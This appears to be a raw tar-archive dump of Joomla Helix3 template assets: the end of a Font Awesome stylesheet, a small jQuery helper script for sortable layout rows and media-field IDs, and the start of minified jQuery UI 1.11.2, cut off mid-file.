:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
                                                                                                                                                                                                                                        system/helix3/assets/js/helper.js                                                                   0000705                 00000004176 15242051520 0013021 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

(function ($) {

	//Remove Chosen
	$.fn.rowSortable = function(){
		$(this).sortable({
			placeholder: "ui-state-highlight",
			forcePlaceholderSize: true,
			axis: 'x',
			opacity: 0.8,
			tolerance: 'pointer',

			start: function(event, ui) {
				$( ".layoutbuilder-section .row" ).find('.ui-state-highlight').addClass( $(ui.item).attr('class') );
				$( ".layoutbuilder-section .row" ).find('.ui-state-highlight').css( 'height', $(ui.item).outerHeight() );
			}

		}).disableSelection();
	};

	//Random number
	function random_number() {
		return randomFromInterval(1, 1e6)
	}

	function randomFromInterval(e, t) {
		return Math.floor(Math.random() * (t - e + 1) + e)
	}

	$.fn.randomIds = function()
	{
		//Media
		$(this).find('.media').each(function(){
			var $id = random_number();

			$(this).find('.input-media').attr('id', 'media-' + $id);

			//Preview
			$(this).find('.image-preview').attr('id', 'media-' + $id + '_preview_img');
			$(this).find('.image-preview').find('img').attr('id', 'media-' + $id + '_preview');

			$(this).find('a.modal').attr('href', 'index.php?option=com_media&view=images&tmpl=component&fieldid=' + 'media-' + $id);
			$(this).find('a.remove-media').attr('onClick', "jInsertFieldValue('', 'media-" + $id + "');return false;");

			$(this).find('a.remove-media').on('click', function(){
				$(this).closest('.media').find('.input-media').val('');
			});
		});

		//Re-initialize modal
		SqueezeBox.assign( $(this).find('a.modal') , {
			parse: 'rel'
		});
	}

	//remove ids
	$.fn.cleanRandomIds = function(){

		$(this).find('select').chosen('destroy');

		//Media
		$(this).find('.media').each(function(){
			$(this).find('.input-media').removeAttr('id');
			//Preview
			$(this).find('.image-preview').removeAttr('id');
			$(this).find('.image-preview').find('img').removeAttr('id');
			$(this).find('a.modal').removeAttr('href');
			$(this).find('a.remove-media').removeAttr('onClick');
		});

		return $(this);

	}

})(jQuery);
                                                                                                                                                                                                                                                                                                                                                                                                  system/helix3/assets/js/jquery-ui.min.js                                                            0000705                 00000260342 15242051520 0014255 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! jQuery UI - v1.11.2 - 2015-01-27
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, position.js, draggable.js, droppable.js, resizable.js, selectable.js, sortable.js
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */

(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var a,n,o,r=t.nodeName.toLowerCase();return"area"===r?(a=t.parentNode,n=a.name,t.href&&n&&"map"===a.nodeName.toLowerCase()?(o=e("img[usemap='#"+n+"']")[0],!!o&&i(o)):!1):(/input|select|textarea|button|object/.test(r)?!t.disabled:"a"===r?t.href||s:s)&&i(t)}function i(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}e.ui=e.ui||{},e.extend(e.ui,{version:"1.11.2",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({scrollParent:function(t){var i=this.css("position"),s="absolute"===i,a=t?/(auto|scroll|hidden)/:/(auto|scroll)/,n=this.parents().filter(function(){var t=e(this);return s&&"static"===t.css("position")?!1:a.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==i&&n.length?n:e(this[0].ownerDocument||document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(i){return t(i,!isNaN(e.attr(i,"tabindex")))},tabbable:function(i){var s=e.attr(i,"tabindex"),a=isNaN(s);return(a||s>=0)&&t(i,!a)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(t,i){function s(t,i,s,n){return e.each(a,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),n&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var a="Width"===i?["Left","Right"]:["Top","Bottom"],n=i.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+i]=function(t){return void 0===t?o["inner"+i].call(this):this.each(function(){e(this).css(n,s(this,t)+"px")})},e.fn["outer"+i]=function(t,a){return"number"!=typeof t?o["outer"+i].call(this,t):this.each(function(){e(this).css(n,s(this,t,!0,a)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),disableSelection:function(){var e="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(e+".ui-disableSelection",function(e){e.preventDefault()})}}(),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(t){if(void 0!==t)return this.css("zIndex",t);if(this.length)for(var i,s,a=e(this[0]);a.length&&a[0]!==document;){if(i=a.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(a.css("zIndex"),10),!isNaN(s)&&0!==s))return s;a=a.parent()}return 0}}),e.ui.plugin={add:function(t,i,s){var a,n=e.ui[t].prototype;for(a in s)n.plugins[a]=n.plugins[a]||[],n.plugins[a].push([i,s[a]])},call:function(e,t,i,s){var a,n=e.plugins[t];if(n&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(a=0;n.length>a;a++)e.options[n[a][0]]&&n[a][1].apply(e.element,i)}};var s=0,a=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,a,n;for(n=0;null!=(a=i[n]);n++)try{s=e._data(a,"events"),s&&s.remove&&e(a).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var a,n,o,r,h={},l=t.split(".")[0];return t=t.split(".")[1],a=l+"-"+t,s||(s=i,i=e.Widget),e.expr[":"][a.toLowerCase()]=function(t){return!!e.data(t,a)},e[l]=e[l]||{},n=e[l][t],o=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new o(e,t)},e.extend(o,n,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},a=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,n=this._superApply;return this._super=e,this._superApply=a,t=s.apply(this,arguments),this._super=i,this._superApply=n,t}}(),void 0):(h[t]=s,void 0)}),o.prototype=e.widget.extend(r,{widgetEventPrefix:n?r.widgetEventPrefix||t:t},h,{constructor:o,namespace:l,widgetName:t,widgetFullName:a}),n?(e.each(n._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete n._childConstructors):i._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,n=a.call(arguments,1),o=0,r=n.length;r>o;o++)for(i in n[o])s=n[o][i],n[o].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(n){var o="string"==typeof n,r=a.call(arguments,1),h=this;return n=!o&&r.length?e.widget.extend.apply(null,[n].concat(r)):n,o?this.each(function(){var i,a=e.data(this,s);return"instance"===n?(h=a,!1):a?e.isFunction(a[n])&&"_"!==n.charAt(0)?(i=a[n].apply(a,r),i!==a&&void 0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void 0):e.error("no such method '"+n+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+n+"'")}):this.each(function(){var t=e.data(this,s);t?(t.option(n||{}),t._init&&t._init()):e.data(this,s,new i(n,this))}),h}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=s++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,a,n,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},s=t.split("."),t=s.shift(),s.length){for(a=o[t]=e.widget.extend({},this.options[t]),n=0;s.length-1>n;n++)a[s[n]]=a[s[n]]||{},a=a[s[n]];if(t=s.pop(),1===arguments.length)return void 0===a[t]?null:a[t];a[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=i}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var a,n=this;"boolean"!=typeof t&&(s=i,i=t,t=!1),s?(i=a=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,a=this.widget()),e.each(s,function(s,o){function r(){return t||n.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?n[o]:o).apply(n,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||e.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+n.eventNamespace,u=h[2];u?a.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var a,n,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],n=i.originalEvent)for(a in n)a in i||(i[a]=n[a]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,a,n){"string"==typeof a&&(a={effect:a});var o,r=a?a===!0||"number"==typeof a?i:a.effect||i:t;a=a||{},"number"==typeof a&&(a={duration:a}),o=!e.isEmptyObject(a),a.complete=n,a.delay&&s.delay(a.delay),o&&e.effects&&e.effects.effect[r]?s[t](a):r!==t&&s[r]?s[r](a.duration,a.easing,n):s.queue(function(i){e(this)[t](),n&&n.call(s[0]),i()})}}),e.widget;var n=!1;e(document).mouseup(function(){n=!1}),e.widget("ui.mouse",{version:"1.11.2",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!n){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,a="string"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!a&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),n=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),n=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),function(){function t(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function i(t,i){return parseInt(e.css(t,i),10)||0}function s(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var a,n,o=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,d=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(void 0!==a)return a;var t,i,s=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),n=s.children()[0];return e("body").append(s),t=n.offsetWidth,s.css("overflow","scroll"),i=n.offsetWidth,t===i&&(i=s[0].clientWidth),s.remove(),a=t-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),s=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),a="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,n="scroll"===s||"auto"===s&&t.height<t.element[0].scrollHeight;return{width:n?e.position.scrollbarWidth():0,height:a?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),a=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:a,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s||a?i.width():i.outerWidth(),height:s||a?i.height():i.outerHeight()}}},e.fn.position=function(a){if(!a||!a.of)return f.apply(this,arguments);a=e.extend({},a);var p,m,g,v,y,b,_=e(a.of),x=e.position.getWithinInfo(a.within),w=e.position.getScrollInfo(x),k=(a.collision||"flip").split(" "),T={};return b=s(_),_[0].preventDefault&&(a.at="left top"),m=b.width,g=b.height,v=b.offset,y=e.extend({},v),e.each(["my","at"],function(){var e,t,i=(a[this]||"").split(" ");1===i.length&&(i=l.test(i[0])?i.concat(["center"]):u.test(i[0])?["center"].concat(i):["center","center"]),i[0]=l.test(i[0])?i[0]:"center",i[1]=u.test(i[1])?i[1]:"center",e=d.exec(i[0]),t=d.exec(i[1]),T[this]=[e?e[0]:0,t?t[0]:0],a[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===a.at[0]?y.left+=m:"center"===a.at[0]&&(y.left+=m/2),"bottom"===a.at[1]?y.top+=g:"center"===a.at[1]&&(y.top+=g/2),p=t(T.at,m,g),y.left+=p[0],y.top+=p[1],this.each(function(){var s,l,u=e(this),d=u.outerWidth(),c=u.outerHeight(),f=i(this,"marginLeft"),b=i(this,"marginTop"),D=d+f+i(this,"marginRight")+w.width,S=c+b+i(this,"marginBottom")+w.height,N=e.extend({},y),M=t(T.my,u.outerWidth(),u.outerHeight());"right"===a.my[0]?N.left-=d:"center"===a.my[0]&&(N.left-=d/2),"bottom"===a.my[1]?N.top-=c:"center"===a.my[1]&&(N.top-=c/2),N.left+=M[0],N.top+=M[1],n||(N.left=h(N.left),N.top=h(N.top)),s={marginLeft:f,marginTop:b},e.each(["left","top"],function(t,i){e.ui.position[k[t]]&&e.ui.position[k[t]][i](N,{targetWidth:m,targetHeight:g,elemWidth:d,elemHeight:c,collisionPosition:s,collisionWidth:D,collisionHeight:S,offset:[p[0]+M[0],p[1]+M[1]],my:a.my,at:a.at,within:x,elem:u})}),a.using&&(l=function(e){var t=v.left-N.left,i=t+m-d,s=v.top-N.top,n=s+g-c,h={target:{element:_,left:v.left,top:v.top,width:m,height:g},element:{element:u,left:N.left,top:N.top,width:d,height:c},horizontal:0>i?"left":t>0?"right":"center",vertical:0>n?"top":s>0?"bottom":"middle"};d>m&&m>r(t+i)&&(h.horizontal="center"),c>g&&g>r(s+n)&&(h.vertical="middle"),h.important=o(r(t),r(i))>o(r(s),r(n))?"horizontal":"vertical",a.using.call(this,e,h)}),u.offset(e.extend(N,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,a=s.isWindow?s.scrollLeft:s.offset.left,n=s.width,r=e.left-t.collisionPosition.marginLeft,h=a-r,l=r+t.collisionWidth-n-a;t.collisionWidth>n?h>0&&0>=l?(i=e.left+h+t.collisionWidth-n-a,e.left+=h-i):e.left=l>0&&0>=h?a:h>l?a+n-t.collisionWidth:a:h>0?e.left+=h:l>0?e.left-=l:e.left=o(e.left-r,e.left)},top:function(e,t){var i,s=t.within,a=s.isWindow?s.scrollTop:s.offset.top,n=t.within.height,r=e.top-t.collisionPosition.marginTop,h=a-r,l=r+t.collisionHeight-n-a;t.collisionHeight>n?h>0&&0>=l?(i=e.top+h+t.collisionHeight-n-a,e.top+=h-i):e.top=l>0&&0>=h?a:h>l?a+n-t.collisionHeight:a:h>0?e.top+=h:l>0?e.top-=l:e.top=o(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,a=t.within,n=a.offset.left+a.scrollLeft,o=a.width,h=a.isWindow?a.scrollLeft:a.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,d=l+t.collisionWidth-o-h,c="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,p="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+c+p+f+t.collisionWidth-o-n,(0>i||r(u)>i)&&(e.left+=c+p+f)):d>0&&(s=e.left-t.collisionPosition.marginLeft+c+p+f-h,(s>0||d>r(s))&&(e.left+=c+p+f))},top:function(e,t){var i,s,a=t.within,n=a.offset.top+a.scrollTop,o=a.height,h=a.isWindow?a.scrollTop:a.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,d=l+t.collisionHeight-o-h,c="top"===t.my[1],p=c?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,f="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-o-n,e.top+p+f+m>u&&(0>s||r(u)>s)&&(e.top+=p+f+m)):d>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,e.top+p+f+m>d&&(i>0||d>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,a,o,r=document.getElementsByTagName("body")[0],h=document.createElement("div");t=document.createElement(r?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},r&&e.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in s)t.style[o]=s[o];t.appendChild(h),i=r||document.documentElement,i.insertBefore(t,i.firstChild),h.style.cssText="position: absolute; left: 10.7432222px;",a=e(h).offset().left,n=a>10&&11>a,t.innerHTML="",i.removeChild(t)}()}(),e.ui.position,e.widget("ui.draggable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===e(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("ui-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("ui-draggable-handle")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),a=s?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return a.parents("body").length||a.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&a[0]===this.element[0]&&this._setPositionRelative(),a[0]===this.element[0]||/(fixed|absolute)/.test(a.css("position"))||a.css("position","absolute"),a},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in 